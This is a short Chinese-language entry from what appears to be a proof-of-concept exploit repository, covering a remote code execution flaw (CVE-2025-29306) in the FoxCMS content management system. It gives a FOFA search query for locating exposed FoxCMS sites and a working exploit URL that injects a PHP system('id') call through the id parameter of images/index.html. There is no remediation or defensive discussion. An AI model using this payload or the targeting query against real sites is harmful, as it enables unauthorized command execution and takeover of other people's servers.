POC/wpoc/FOXCMS黔狐内容管理系统/FOXCMS黔狐内容管理系统_远程代码执行漏洞(CVE-2025-29306).md

452 B
Raw Blame History

FOXCMS黔狐内容管理系统_远程代码执行漏洞(CVE-2025-29306)

漏洞简介

FoxCMS黔狐内容管理系统存在远程代码执行漏洞CVE-2025-29306。该漏洞存在于FoxCMS的index.html接口中允许攻击者通过特定的输入执行远程代码从而控制受影响的系统

fofa

body="foxcms-logo" || body="foxcms-container"

poc

http://host/images/index.html?id=%24{%40print(system(%22id%22))